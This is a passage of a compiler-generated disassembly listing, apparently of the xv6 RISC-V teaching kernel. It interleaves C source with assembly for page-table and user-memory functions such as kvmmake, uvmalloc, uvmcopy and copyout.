800080e0 <digits+0xa0> 80001144: fffff097 auipc ra,0xfffff 80001148: 3e6080e7 jalr 998(ra) # 8000052a <panic> 000000008000114c <kvmmake>: { 8000114c: 1101 addi sp,sp,-32 8000114e: ec06 sd ra,24(sp) 80001150: e822 sd s0,16(sp) 80001152: e426 sd s1,8(sp) 80001154: e04a sd s2,0(sp) 80001156: 1000 addi s0,sp,32 kpgtbl = (pagetable_t) kalloc(); 80001158: 00000097 auipc ra,0x0 8000115c: 97a080e7 jalr -1670(ra) # 80000ad2 <kalloc> 80001160: 84aa mv s1,a0 memset(kpgtbl, 0, PGSIZE); 80001162: 6605 lui a2,0x1 80001164: 4581 li a1,0 80001166: 00000097 auipc ra,0x0 8000116a: b58080e7 jalr -1192(ra) # 80000cbe <memset> kvmmap(kpgtbl, UART0, UART0, PGSIZE, PTE_R | PTE_W); 8000116e: 4719 li a4,6 80001170: 6685 lui a3,0x1 80001172: 10000637 lui a2,0x10000 80001176: 100005b7 lui a1,0x10000 8000117a: 8526 mv a0,s1 8000117c: 00000097 auipc ra,0x0 80001180: fa0080e7 jalr -96(ra) # 8000111c <kvmmap> kvmmap(kpgtbl, VIRTIO0, VIRTIO0, PGSIZE, PTE_R | PTE_W); 80001184: 4719 li a4,6 80001186: 6685 lui a3,0x1 80001188: 10001637 lui a2,0x10001 8000118c: 100015b7 lui a1,0x10001 80001190: 8526 mv a0,s1 80001192: 00000097 auipc ra,0x0 80001196: f8a080e7 jalr -118(ra) # 8000111c <kvmmap> kvmmap(kpgtbl, PLIC, PLIC, 0x400000, PTE_R | PTE_W); 8000119a: 4719 li a4,6 8000119c: 004006b7 lui a3,0x400 800011a0: 0c000637 lui a2,0xc000 800011a4: 0c0005b7 lui a1,0xc000 800011a8: 8526 mv a0,s1 800011aa: 00000097 auipc ra,0x0 800011ae: f72080e7 jalr -142(ra) # 8000111c <kvmmap> kvmmap(kpgtbl, KERNBASE, KERNBASE, (uint64)etext-KERNBASE, PTE_R | PTE_X); 800011b2: 00007917 auipc s2,0x7 800011b6: e4e90913 addi s2,s2,-434 # 80008000 <etext> 800011ba: 4729 li a4,10 800011bc: 80007697 auipc a3,0x80007 800011c0: e4468693 addi a3,a3,-444 # 8000 <_entry-0x7fff8000> 800011c4: 4605 li a2,1 800011c6: 067e slli a2,a2,0x1f 800011c8: 85b2 mv a1,a2 800011ca: 8526 mv a0,s1 800011cc: 00000097 auipc ra,0x0 800011d0: f50080e7 jalr -176(ra) # 8000111c <kvmmap> kvmmap(kpgtbl, (uint64)etext, (uint64)etext, PHYSTOP-(uint64)etext, PTE_R | PTE_W); 800011d4: 4719 li a4,6 800011d6: 46c5 li a3,17 800011d8: 06ee slli a3,a3,0x1b 800011da: 412686b3 sub a3,a3,s2 800011de: 864a mv a2,s2 800011e0: 85ca mv a1,s2 800011e2: 8526 mv a0,s1 800011e4: 00000097 auipc ra,0x0 800011e8: f38080e7 jalr -200(ra) # 8000111c <kvmmap> kvmmap(kpgtbl, TRAMPOLINE, (uint64)trampoline, PGSIZE, PTE_R | PTE_X); 800011ec: 4729 li a4,10 800011ee: 6685 lui a3,0x1 800011f0: 00006617 auipc a2,0x6 800011f4: e1060613 addi a2,a2,-496 # 80007000 <_trampoline> 800011f8: 040005b7 lui a1,0x4000 800011fc: 15fd addi a1,a1,-1 800011fe: 05b2 slli a1,a1,0xc 80001200: 8526 mv a0,s1 80001202: 00000097 auipc ra,0x0 80001206: f1a080e7 jalr -230(ra) # 8000111c <kvmmap> proc_mapstacks(kpgtbl); 8000120a: 8526 mv a0,s1 8000120c: 00000097 auipc ra,0x0 80001210: 600080e7 jalr 1536(ra) # 8000180c <proc_mapstacks> } 80001214: 8526 mv a0,s1 80001216: 60e2 ld ra,24(sp) 80001218: 6442 ld s0,16(sp) 8000121a: 64a2 ld s1,8(sp) 8000121c: 6902 ld s2,0(sp) 8000121e: 6105 addi sp,sp,32 80001220: 8082 ret 0000000080001222 <kvminit>: { 80001222: 1141 addi sp,sp,-16 80001224: e406 sd ra,8(sp) 80001226: e022 sd s0,0(sp) 80001228: 0800 addi s0,sp,16 kernel_pagetable = kvmmake(); 8000122a: 00000097 auipc ra,0x0 8000122e: f22080e7 jalr -222(ra) # 8000114c <kvmmake> 80001232: 00008797 auipc a5,0x8 80001236: dea7b723 sd a0,-530(a5) # 80009020 <kernel_pagetable> } 8000123a: 60a2 ld ra,8(sp) 8000123c: 6402 ld s0,0(sp) 8000123e: 0141 addi sp,sp,16 80001240: 8082 ret 0000000080001242 <uvmunmap>: // Remove npages of mappings starting from va. va must be // page-aligned. The mappings must exist. // Optionally free the physical memory. void uvmunmap(pagetable_t pagetable, uint64 va, uint64 npages, int do_free) { 80001242: 715d addi sp,sp,-80 80001244: e486 sd ra,72(sp) 80001246: e0a2 sd s0,64(sp) 80001248: fc26 sd s1,56(sp) 8000124a: f84a sd s2,48(sp) 8000124c: f44e sd s3,40(sp) 8000124e: f052 sd s4,32(sp) 80001250: ec56 sd s5,24(sp) 80001252: e85a sd s6,16(sp) 80001254: e45e sd s7,8(sp) 80001256: 0880 addi s0,sp,80 uint64 a; pte_t *pte; if((va % PGSIZE) != 0) 80001258: 03459793 slli a5,a1,0x34 8000125c: e795 bnez a5,80001288 <uvmunmap+0x46> 8000125e: 8a2a mv s4,a0 80001260: 892e mv s2,a1 80001262: 8ab6 mv s5,a3 panic("uvmunmap: not aligned"); for(a = va; a < va + npages*PGSIZE; a += PGSIZE){ 80001264: 0632 slli a2,a2,0xc 80001266: 00b609b3 add s3,a2,a1 if((pte = walk(pagetable, a, 0)) == 0) panic("uvmunmap: walk"); if((*pte & PTE_V) == 0) panic("uvmunmap: not mapped"); if(PTE_FLAGS(*pte) == PTE_V) 8000126a: 4b85 li s7,1 for(a = va; a < va + npages*PGSIZE; a += PGSIZE){ 8000126c: 6b05 lui s6,0x1 8000126e: 0735e263 bltu a1,s3,800012d2 <uvmunmap+0x90> uint64 pa = PTE2PA(*pte); kfree((void*)pa); } *pte = 0; } } 80001272: 60a6 ld ra,72(sp) 80001274: 6406 ld s0,64(sp) 80001276: 74e2 ld s1,56(sp) 80001278: 7942 ld s2,48(sp) 8000127a: 79a2 ld s3,40(sp) 8000127c: 7a02 ld s4,32(sp) 8000127e: 6ae2 ld s5,24(sp) 80001280: 6b42 ld s6,16(sp) 80001282: 6ba2 ld s7,8(sp) 80001284: 6161 addi sp,sp,80 80001286: 8082 ret panic("uvmunmap: not aligned"); 80001288: 00007517 auipc a0,0x7 8000128c: e6050513 addi a0,a0,-416 # 800080e8 <digits+0xa8> 80001290: fffff097 auipc ra,0xfffff 80001294: 29a080e7 jalr 666(ra) # 8000052a <panic> panic("uvmunmap: walk"); 80001298: 00007517 auipc a0,0x7 8000129c: e6850513 addi a0,a0,-408 # 80008100 <digits+0xc0> 800012a0: fffff097 auipc ra,0xfffff 800012a4: 28a080e7 jalr 650(ra) # 8000052a <panic> panic("uvmunmap: not mapped"); 800012a8: 00007517 auipc a0,0x7 800012ac: e6850513 addi a0,a0,-408 # 80008110 <digits+0xd0> 800012b0: fffff097 auipc ra,0xfffff 800012b4: 27a080e7 jalr 634(ra) # 8000052a <panic> panic("uvmunmap: not a leaf"); 800012b8: 00007517 auipc a0,0x7 800012bc: e7050513 addi a0,a0,-400 # 80008128 <digits+0xe8> 800012c0: fffff097 auipc ra,0xfffff 800012c4: 26a080e7 jalr 618(ra) # 8000052a <panic> *pte = 0; 800012c8: 0004b023 sd zero,0(s1) for(a = va; a < va + npages*PGSIZE; a += PGSIZE){ 800012cc: 995a add s2,s2,s6 800012ce: fb3972e3 bgeu s2,s3,80001272 <uvmunmap+0x30> if((pte = walk(pagetable, a, 0)) == 0) 800012d2: 4601 li a2,0 800012d4: 85ca mv a1,s2 800012d6: 8552 mv a0,s4 800012d8: 00000097 auipc ra,0x0 800012dc: cce080e7 jalr -818(ra) # 80000fa6 <walk> 800012e0: 84aa mv s1,a0 800012e2: d95d beqz a0,80001298 <uvmunmap+0x56> if((*pte & PTE_V) == 0) 800012e4: 6108 ld a0,0(a0) 800012e6: 00157793 andi a5,a0,1 800012ea: dfdd beqz a5,800012a8 <uvmunmap+0x66> if(PTE_FLAGS(*pte) == PTE_V) 800012ec: 3ff57793 andi a5,a0,1023 800012f0: fd7784e3 beq a5,s7,800012b8 <uvmunmap+0x76> if(do_free){ 800012f4: fc0a8ae3 beqz s5,800012c8 <uvmunmap+0x86> uint64 pa = PTE2PA(*pte); 800012f8: 8129 srli a0,a0,0xa kfree((void*)pa); 800012fa: 0532 slli a0,a0,0xc 800012fc: fffff097 auipc ra,0xfffff 80001300: 6da080e7 jalr 1754(ra) # 800009d6 <kfree> 80001304: b7d1 j 800012c8 <uvmunmap+0x86> 0000000080001306 <uvmcreate>: // create an empty user page table. // returns 0 if out of memory. pagetable_t uvmcreate() { 80001306: 1101 addi sp,sp,-32 80001308: ec06 sd ra,24(sp) 8000130a: e822 sd s0,16(sp) 8000130c: e426 sd s1,8(sp) 8000130e: 1000 addi s0,sp,32 pagetable_t pagetable; pagetable = (pagetable_t) kalloc(); 80001310: fffff097 auipc ra,0xfffff 80001314: 7c2080e7 jalr 1986(ra) # 80000ad2 <kalloc> 80001318: 84aa mv s1,a0 if(pagetable == 0) 8000131a: c519 beqz a0,80001328 <uvmcreate+0x22> return 0; memset(pagetable, 0, PGSIZE); 8000131c: 6605 lui a2,0x1 8000131e: 4581 li a1,0 80001320: 00000097 auipc ra,0x0 80001324: 99e080e7 jalr -1634(ra) # 80000cbe <memset> return pagetable; } 80001328: 8526 mv a0,s1 8000132a: 60e2 ld ra,24(sp) 8000132c: 6442 ld s0,16(sp) 8000132e: 64a2 ld s1,8(sp) 80001330: 6105 addi sp,sp,32 80001332: 8082 ret 0000000080001334 <uvminit>: // Load the user initcode into address 0 of pagetable, // for the very first process. // sz must be less than a page. void uvminit(pagetable_t pagetable, uchar *src, uint sz) { 80001334: 7179 addi sp,sp,-48 80001336: f406 sd ra,40(sp) 80001338: f022 sd s0,32(sp) 8000133a: ec26 sd s1,24(sp) 8000133c: e84a sd s2,16(sp) 8000133e: e44e sd s3,8(sp) 80001340: e052 sd s4,0(sp) 80001342: 1800 addi s0,sp,48 char *mem; if(sz >= PGSIZE) 80001344: 6785 lui a5,0x1 80001346: 04f67863 bgeu a2,a5,80001396 <uvminit+0x62> 8000134a: 8a2a mv s4,a0 8000134c: 89ae mv s3,a1 8000134e: 84b2 mv s1,a2 panic("inituvm: more than a page"); mem = kalloc(); 80001350: fffff097 auipc ra,0xfffff 80001354: 782080e7 jalr 1922(ra) # 80000ad2 <kalloc> 80001358: 892a mv s2,a0 memset(mem, 0, PGSIZE); 8000135a: 6605 lui a2,0x1 8000135c: 4581 li a1,0 8000135e: 00000097 auipc ra,0x0 80001362: 960080e7 jalr -1696(ra) # 80000cbe <memset> mappages(pagetable, 0, PGSIZE, (uint64)mem, PTE_W|PTE_R|PTE_X|PTE_U); 80001366: 4779 li a4,30 80001368: 86ca mv a3,s2 8000136a: 6605 lui a2,0x1 8000136c: 4581 li a1,0 8000136e: 8552 mv a0,s4 80001370: 00000097 auipc ra,0x0 80001374: d1e080e7 jalr -738(ra) # 8000108e <mappages> memmove(mem, src, sz); 80001378: 8626 mv a2,s1 8000137a: 85ce mv a1,s3 8000137c: 854a mv a0,s2 8000137e: 00000097 auipc ra,0x0 80001382: 99c080e7 jalr -1636(ra) # 80000d1a <memmove> } 80001386: 70a2 ld ra,40(sp) 80001388: 7402 ld s0,32(sp) 8000138a: 64e2 ld s1,24(sp) 8000138c: 6942 ld s2,16(sp) 8000138e: 69a2 ld s3,8(sp) 80001390: 6a02 ld s4,0(sp) 80001392: 6145 addi sp,sp,48 80001394: 8082 ret panic("inituvm: more than a page"); 80001396: 00007517 auipc a0,0x7 8000139a: daa50513 addi a0,a0,-598 # 80008140 <digits+0x100> 8000139e: fffff097 auipc ra,0xfffff 800013a2: 18c080e7 jalr 396(ra) # 8000052a <panic> 00000000800013a6 <uvmdealloc>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. uint64 uvmdealloc(pagetable_t pagetable, uint64 oldsz, uint64 newsz) { 800013a6: 1101 addi sp,sp,-32 800013a8: ec06 sd ra,24(sp) 800013aa: e822 sd s0,16(sp) 800013ac: e426 sd s1,8(sp) 800013ae: 1000 addi s0,sp,32 if(newsz >= oldsz) return oldsz; 800013b0: 84ae mv s1,a1 if(newsz >= oldsz) 800013b2: 00b67d63 bgeu a2,a1,800013cc <uvmdealloc+0x26> 800013b6: 84b2 mv s1,a2 if(PGROUNDUP(newsz) < PGROUNDUP(oldsz)){ 800013b8: 6785 lui a5,0x1 800013ba: 17fd addi a5,a5,-1 800013bc: 00f60733 add a4,a2,a5 800013c0: 767d lui a2,0xfffff 800013c2: 8f71 and a4,a4,a2 800013c4: 97ae add a5,a5,a1 800013c6: 8ff1 and a5,a5,a2 800013c8: 00f76863 bltu a4,a5,800013d8 <uvmdealloc+0x32> int npages = (PGROUNDUP(oldsz) - PGROUNDUP(newsz)) / PGSIZE; uvmunmap(pagetable, PGROUNDUP(newsz), npages, 1); } return newsz; } 800013cc: 8526 mv a0,s1 800013ce: 60e2 ld ra,24(sp) 800013d0: 6442 ld s0,16(sp) 800013d2: 64a2 ld s1,8(sp) 800013d4: 6105 addi sp,sp,32 800013d6: 8082 ret int npages = (PGROUNDUP(oldsz) - PGROUNDUP(newsz)) / PGSIZE; 800013d8: 8f99 sub a5,a5,a4 800013da: 83b1 srli a5,a5,0xc uvmunmap(pagetable, PGROUNDUP(newsz), npages, 1); 800013dc: 4685 li a3,1 800013de: 0007861b sext.w a2,a5 800013e2: 85ba mv a1,a4 800013e4: 00000097 auipc ra,0x0 800013e8: e5e080e7 jalr -418(ra) # 80001242 <uvmunmap> 800013ec: b7c5 j 800013cc <uvmdealloc+0x26> 00000000800013ee <uvmalloc>: if(newsz < oldsz) 800013ee: 0ab66163 bltu a2,a1,80001490 <uvmalloc+0xa2> { 800013f2: 7139 addi sp,sp,-64 800013f4: fc06 sd ra,56(sp) 800013f6: f822 sd s0,48(sp) 800013f8: f426 sd s1,40(sp) 800013fa: f04a sd s2,32(sp) 800013fc: ec4e sd s3,24(sp) 800013fe: e852 sd s4,16(sp) 80001400: e456 sd s5,8(sp) 80001402: 0080 addi s0,sp,64 80001404: 8aaa mv s5,a0 80001406: 8a32 mv s4,a2 oldsz = PGROUNDUP(oldsz); 80001408: 6985 lui s3,0x1 8000140a: 19fd addi s3,s3,-1 8000140c: 95ce add a1,a1,s3 8000140e: 79fd lui s3,0xfffff 80001410: 0135f9b3 and s3,a1,s3 for(a = oldsz; a < newsz; a += PGSIZE){ 80001414: 08c9f063 bgeu s3,a2,80001494 <uvmalloc+0xa6> 80001418: 894e mv s2,s3 mem = kalloc(); 8000141a: fffff097 auipc ra,0xfffff 8000141e: 6b8080e7 jalr 1720(ra) # 80000ad2 <kalloc> 80001422: 84aa mv s1,a0 if(mem == 0){ 80001424: c51d beqz a0,80001452 <uvmalloc+0x64> memset(mem, 0, PGSIZE); 80001426: 6605 lui a2,0x1 80001428: 4581 li a1,0 8000142a: 00000097 auipc ra,0x0 8000142e: 894080e7 jalr -1900(ra) # 80000cbe <memset> if(mappages(pagetable, a, PGSIZE, (uint64)mem, PTE_W|PTE_X|PTE_R|PTE_U) != 0){ 80001432: 4779 li a4,30 80001434: 86a6 mv a3,s1 80001436: 6605 lui a2,0x1 80001438: 85ca mv a1,s2 8000143a: 8556 mv a0,s5 8000143c: 00000097 auipc ra,0x0 80001440: c52080e7 jalr -942(ra) # 8000108e <mappages> 80001444: e905 bnez a0,80001474 <uvmalloc+0x86> for(a = oldsz; a < newsz; a += PGSIZE){ 80001446: 6785 lui a5,0x1 80001448: 993e add s2,s2,a5 8000144a: fd4968e3 bltu s2,s4,8000141a <uvmalloc+0x2c> return newsz; 8000144e: 8552 mv a0,s4 80001450: a809 j 80001462 <uvmalloc+0x74> uvmdealloc(pagetable, a, oldsz); 80001452: 864e mv a2,s3 80001454: 85ca mv a1,s2 80001456: 8556 mv a0,s5 80001458: 00000097 auipc ra,0x0 8000145c: f4e080e7 jalr -178(ra) # 800013a6 <uvmdealloc> return 0; 80001460: 4501 li a0,0 } 80001462: 70e2 ld ra,56(sp) 80001464: 7442 ld s0,48(sp) 80001466: 74a2 ld s1,40(sp) 80001468: 7902 ld s2,32(sp) 8000146a: 69e2 ld s3,24(sp) 8000146c: 6a42 ld s4,16(sp) 8000146e: 6aa2 ld s5,8(sp) 80001470: 6121 addi sp,sp,64 80001472: 8082 ret kfree(mem); 80001474: 8526 mv a0,s1 80001476: fffff097 auipc ra,0xfffff 8000147a: 560080e7 jalr 1376(ra) # 800009d6 <kfree> uvmdealloc(pagetable, a, oldsz); 8000147e: 864e mv a2,s3 80001480: 85ca mv a1,s2 80001482: 8556 mv a0,s5 80001484: 00000097 auipc ra,0x0 80001488: f22080e7 jalr -222(ra) # 800013a6 <uvmdealloc> return 0; 8000148c: 4501 li a0,0 8000148e: bfd1 j 80001462 <uvmalloc+0x74> return oldsz; 80001490: 852e mv a0,a1 } 80001492: 8082 ret return newsz; 80001494: 8532 mv a0,a2 80001496: b7f1 j 80001462 <uvmalloc+0x74> 0000000080001498 <freewalk>: // Recursively free page-table pages. // All leaf mappings must already have been removed. void freewalk(pagetable_t pagetable) { 80001498: 7179 addi sp,sp,-48 8000149a: f406 sd ra,40(sp) 8000149c: f022 sd s0,32(sp) 8000149e: ec26 sd s1,24(sp) 800014a0: e84a sd s2,16(sp) 800014a2: e44e sd s3,8(sp) 800014a4: e052 sd s4,0(sp) 800014a6: 1800 addi s0,sp,48 800014a8: 8a2a mv s4,a0 // there are 2^9 = 512 PTEs in a page table. for(int i = 0; i < 512; i++){ 800014aa: 84aa mv s1,a0 800014ac: 6905 lui s2,0x1 800014ae: 992a add s2,s2,a0 pte_t pte = pagetable[i]; if((pte & PTE_V) && (pte & (PTE_R|PTE_W|PTE_X)) == 0){ 800014b0: 4985 li s3,1 800014b2: a821 j 800014ca <freewalk+0x32> // this PTE points to a lower-level page table. uint64 child = PTE2PA(pte); 800014b4: 8129 srli a0,a0,0xa freewalk((pagetable_t)child); 800014b6: 0532 slli a0,a0,0xc 800014b8: 00000097 auipc ra,0x0 800014bc: fe0080e7 jalr -32(ra) # 80001498 <freewalk> pagetable[i] = 0; 800014c0: 0004b023 sd zero,0(s1) for(int i = 0; i < 512; i++){ 800014c4: 04a1 addi s1,s1,8 800014c6: 03248163 beq s1,s2,800014e8 <freewalk+0x50> pte_t pte = pagetable[i]; 800014ca: 6088 ld a0,0(s1) if((pte & PTE_V) && (pte & (PTE_R|PTE_W|PTE_X)) == 0){ 800014cc: 00f57793 andi a5,a0,15 800014d0: ff3782e3 beq a5,s3,800014b4 <freewalk+0x1c> } else if(pte & PTE_V){ 800014d4: 8905 andi a0,a0,1 800014d6: d57d beqz a0,800014c4 <freewalk+0x2c> panic("freewalk: leaf"); 800014d8: 00007517 auipc a0,0x7 800014dc: c8850513 addi a0,a0,-888 # 80008160 <digits+0x120> 800014e0: fffff097 auipc ra,0xfffff 800014e4: 04a080e7 jalr 74(ra) # 8000052a <panic> } } kfree((void*)pagetable); 800014e8: 8552 mv a0,s4 800014ea: fffff097 auipc ra,0xfffff 800014ee: 4ec080e7 jalr 1260(ra) # 800009d6 <kfree> } 800014f2: 70a2 ld ra,40(sp) 800014f4: 7402 ld s0,32(sp) 800014f6: 64e2 ld s1,24(sp) 800014f8: 6942 ld s2,16(sp) 800014fa: 69a2 ld s3,8(sp) 800014fc: 6a02 ld s4,0(sp) 800014fe: 6145 addi sp,sp,48 80001500: 8082 ret 0000000080001502 <uvmfree>: // Free user memory pages, // then free page-table pages. void uvmfree(pagetable_t pagetable, uint64 sz) { 80001502: 1101 addi sp,sp,-32 80001504: ec06 sd ra,24(sp) 80001506: e822 sd s0,16(sp) 80001508: e426 sd s1,8(sp) 8000150a: 1000 addi s0,sp,32 8000150c: 84aa mv s1,a0 if(sz > 0) 8000150e: e999 bnez a1,80001524 <uvmfree+0x22> uvmunmap(pagetable, 0, PGROUNDUP(sz)/PGSIZE, 1); freewalk(pagetable); 80001510: 8526 mv a0,s1 80001512: 00000097 auipc ra,0x0 80001516: f86080e7 jalr -122(ra) # 80001498 <freewalk> } 8000151a: 60e2 ld ra,24(sp) 8000151c: 6442 ld s0,16(sp) 8000151e: 64a2 ld s1,8(sp) 80001520: 6105 addi sp,sp,32 80001522: 8082 ret uvmunmap(pagetable, 0, PGROUNDUP(sz)/PGSIZE, 1); 80001524: 6605 lui a2,0x1 80001526: 167d addi a2,a2,-1 80001528: 962e add a2,a2,a1 8000152a: 4685 li a3,1 8000152c: 8231 srli a2,a2,0xc 8000152e: 4581 li a1,0 80001530: 00000097 auipc ra,0x0 80001534: d12080e7 jalr -750(ra) # 80001242 <uvmunmap> 80001538: bfe1 j 80001510 <uvmfree+0xe> 000000008000153a <uvmcopy>: pte_t *pte; uint64 pa, i; uint flags; char *mem; for(i = 0; i < sz; i += PGSIZE){ 8000153a: c679 beqz a2,80001608 <uvmcopy+0xce> { 8000153c: 715d addi sp,sp,-80 8000153e: e486 sd ra,72(sp) 80001540: e0a2 sd s0,64(sp) 80001542: fc26 sd s1,56(sp) 80001544: f84a sd s2,48(sp) 80001546: f44e sd s3,40(sp) 80001548: f052 sd s4,32(sp) 8000154a: ec56 sd s5,24(sp) 8000154c: e85a sd s6,16(sp) 8000154e: e45e sd s7,8(sp) 80001550: 0880 addi s0,sp,80 80001552: 8b2a mv s6,a0 80001554: 8aae mv s5,a1 80001556: 8a32 mv s4,a2 for(i = 0; i < sz; i += PGSIZE){ 80001558: 4981 li s3,0 if((pte = walk(old, i, 0)) == 0) 8000155a: 4601 li a2,0 8000155c: 85ce mv a1,s3 8000155e: 855a mv a0,s6 80001560: 00000097 auipc ra,0x0 80001564: a46080e7 jalr -1466(ra) # 80000fa6 <walk> 80001568: c531 beqz a0,800015b4 <uvmcopy+0x7a> panic("uvmcopy: pte should exist"); if((*pte & PTE_V) == 0) 8000156a: 6118 ld a4,0(a0) 8000156c: 00177793 andi a5,a4,1 80001570: cbb1 beqz a5,800015c4 <uvmcopy+0x8a> panic("uvmcopy: page not present"); pa = PTE2PA(*pte); 80001572: 00a75593 srli a1,a4,0xa 80001576: 00c59b93 slli s7,a1,0xc flags = PTE_FLAGS(*pte); 8000157a: 3ff77493 andi s1,a4,1023 if((mem = kalloc()) == 0) 8000157e: fffff097 auipc ra,0xfffff 80001582: 554080e7 jalr 1364(ra) # 80000ad2 <kalloc> 80001586: 892a mv s2,a0 80001588: c939 beqz a0,800015de <uvmcopy+0xa4> goto err; memmove(mem, (char*)pa, PGSIZE); 8000158a: 6605 lui a2,0x1 8000158c: 85de mv a1,s7 8000158e: fffff097 auipc ra,0xfffff 80001592: 78c080e7 jalr 1932(ra) # 80000d1a <memmove> if(mappages(new, i, PGSIZE, (uint64)mem, flags) != 0){ 80001596: 8726 mv a4,s1 80001598: 86ca mv a3,s2 8000159a: 6605 lui a2,0x1 8000159c: 85ce mv a1,s3 8000159e: 8556 mv a0,s5 800015a0: 00000097 auipc ra,0x0 800015a4: aee080e7 jalr -1298(ra) # 8000108e <mappages> 800015a8: e515 bnez a0,800015d4 <uvmcopy+0x9a> for(i = 0; i < sz; i += PGSIZE){ 800015aa: 6785 lui a5,0x1 800015ac: 99be add s3,s3,a5 800015ae: fb49e6e3 bltu s3,s4,8000155a <uvmcopy+0x20> 800015b2: a081 j 800015f2 <uvmcopy+0xb8> panic("uvmcopy: pte should exist"); 800015b4: 00007517 auipc a0,0x7 800015b8: bbc50513 addi a0,a0,-1092 # 80008170 <digits+0x130> 800015bc: fffff097 auipc ra,0xfffff 800015c0: f6e080e7 jalr -146(ra) # 8000052a <panic> panic("uvmcopy: page not present"); 800015c4: 00007517 auipc a0,0x7 800015c8: bcc50513 addi a0,a0,-1076 # 80008190 <digits+0x150> 800015cc: fffff097 auipc ra,0xfffff 800015d0: f5e080e7 jalr -162(ra) # 8000052a <panic> kfree(mem); 800015d4: 854a mv a0,s2 800015d6: fffff097 auipc ra,0xfffff 800015da: 400080e7 jalr 1024(ra) # 800009d6 <kfree> } } return 0; err: uvmunmap(new, 0, i / PGSIZE, 1); 800015de: 4685 li a3,1 800015e0: 00c9d613 srli a2,s3,0xc 800015e4: 4581 li a1,0 800015e6: 8556 mv a0,s5 800015e8: 00000097 auipc ra,0x0 800015ec: c5a080e7 jalr -934(ra) # 80001242 <uvmunmap> return -1; 800015f0: 557d li a0,-1 } 800015f2: 60a6 ld ra,72(sp) 800015f4: 6406 ld s0,64(sp) 800015f6: 74e2 ld s1,56(sp) 800015f8: 7942 ld s2,48(sp) 800015fa: 79a2 ld s3,40(sp) 800015fc: 7a02 ld s4,32(sp) 800015fe: 6ae2 ld s5,24(sp) 80001600: 6b42 ld s6,16(sp) 80001602: 6ba2 ld s7,8(sp) 80001604: 6161 addi sp,sp,80 80001606: 8082 ret return 0; 80001608: 4501 li a0,0 } 8000160a: 8082 ret 000000008000160c <uvmclear>: // mark a PTE invalid for user access. // used by exec for the user stack guard page. void uvmclear(pagetable_t pagetable, uint64 va) { 8000160c: 1141 addi sp,sp,-16 8000160e: e406 sd ra,8(sp) 80001610: e022 sd s0,0(sp) 80001612: 0800 addi s0,sp,16 pte_t *pte; pte = walk(pagetable, va, 0); 80001614: 4601 li a2,0 80001616: 00000097 auipc ra,0x0 8000161a: 990080e7 jalr -1648(ra) # 80000fa6 <walk> if(pte == 0) 8000161e: c901 beqz a0,8000162e <uvmclear+0x22> panic("uvmclear"); *pte &= ~PTE_U; 80001620: 611c ld a5,0(a0) 80001622: 9bbd andi a5,a5,-17 80001624: e11c sd a5,0(a0) } 80001626: 60a2 ld ra,8(sp) 80001628: 6402 ld s0,0(sp) 8000162a: 0141 addi sp,sp,16 8000162c: 8082 ret panic("uvmclear"); 8000162e: 00007517 auipc a0,0x7 80001632: b8250513 addi a0,a0,-1150 # 800081b0 <digits+0x170> 80001636: fffff097 auipc ra,0xfffff 8000163a: ef4080e7 jalr -268(ra) # 8000052a <panic> 000000008000163e <copyout>: int copyout(pagetable_t pagetable, uint64 dstva, char *src, uint64 len) { uint64 n, va0, pa0; while(len > 0){ 8000163e: c6bd beqz a3,800016ac <copyout+0x6e> { 80001640: 715d addi sp,sp,-80 80001642: e486 sd ra,72(sp) 80001644: e0a2 sd s0,64(sp) 80001646: fc26 sd s1,56(sp) 80001648: f84a sd s2,48(sp) 8000164a: f44e sd s3,40(sp) 8000164c: f052 sd s4,32(sp) 8000164e: ec56 sd s5,24(sp) 80001650: e85a sd s6,16(sp) 80001652: e45e sd s7,8(sp) 80001654: e062 sd s8,0(sp) 80001656: 0880 addi s0,sp,80 80001658: 8b2a mv s6,a0 8000165a: 8c2e mv s8,a1 8000165c: 8a32 mv s4,a2 8000165e: 89b6 mv s3,a3 va0 = PGROUNDDOWN(dstva); 80001660: 7bfd lui s7,0xfffff pa0 = walkaddr(pagetable, va0); if(pa0 == 0) return -1; n = PGSIZE - (dstva - va0); 80001662: 6a85 lui s5,0x1 80001664: a015 j 80001688 <copyout+0x4a> if(n > len) n = len; memmove((void *)(pa0 + (dstva - va0)), src, n); 80001666: 9562 add a0,a0,s8 80001668: 0004861b sext.w a2,s1 8000166c: 85d2 mv a1,s4 8000166e: 41250533 sub a0,a0,s2 80001672: fffff097 auipc ra,0xfffff 80001676: 6a8080e7 jalr 1704(ra) # 80000d1a <memmove> len -= n; 8000167a: 409989b3 sub s3,s3,s1 src += n; 8000167e: 9a26 add s4,s4,s1 dstva = va0 + PGSIZE; 80001680: 01590c33 add s8,s2,s5 while(len > 0){ 80001684: 02098263 beqz s3,800016a8 <copyout+0x6a> va0 = PGROUNDDOWN(dstva); 80001688: 017c7933 and s2,s8,s7 pa0 = walkaddr(pagetable, va0); 8000168c: 85ca mv a1,s2 8000168e: 855a mv a0,s6 80001690: 00000097 auipc ra,0x0 80001694: 9bc080e7 jalr -1604(ra) # 8000104c <walkaddr> if(pa0 == 0) 80001698: cd01 beqz a0,800016b0 <copyout+0x72> n = PGSIZE - (dstva - va0); 8000169a: 418904b3 sub s1,s2,s8 8000169e: 94d6 add s1,s1,s5 if(n > len) 800016a0: fc99f3e3 bgeu s3,s1,80001666 <copyout+0x28> 800016a4: 84ce mv s1,s3 800016a6: b7c1 j 80001666 <copyout+0x28> } return 0; 800016a8: 4501 li a0,0 800016aa: a021 j 800016b2 <copyout+0x74> 800016ac: 4501 li a0,0 } 800016ae: 8082 ret return -1; 800016b0: 557d li a0,-1 } 800016b2: 60a6 ld ra,72(sp) 800016b4: 6406 ld s0,64(sp) 800016b6: 74e2 ld s1,56(sp) 800016b8: 7942 ld s2,48(sp) 800016ba: 79a2 ld s3,40(sp) 800016bc: 7a02 ld s4,32(sp) 800016be: 6ae2 ld s5,24(sp) 800016c0: 6b42 ld s6,16(sp) 800016c2: 6ba2 ld s7,8(sp) 800016c4: 6c02 ld s8,0(sp) 800016c6: 6161 addi sp,sp,80 800016c8: 8082 ret 00000000800016ca <copyin>: int copyin(pagetable_t pagetable, char *dst, uint64 srcva, uint64 len) { uint64 n, va0, pa0; while(len > 0){ 800016ca: caa5 beqz a3,8000173a <copyin+0x70> { 800016cc: 715d addi sp,sp,-80 800016ce: e486 sd ra,72(sp) 800016d0: e0a2 sd s0,64(sp) 800016d2: fc26 sd s1,56(sp) 800016d4: f84a sd s2,48(sp) 800016d6: f44e sd s3,40(sp) 800016d8: f052 sd s4,32(sp) 800016da: ec56 sd s5,24(sp) 800016dc: e85a sd 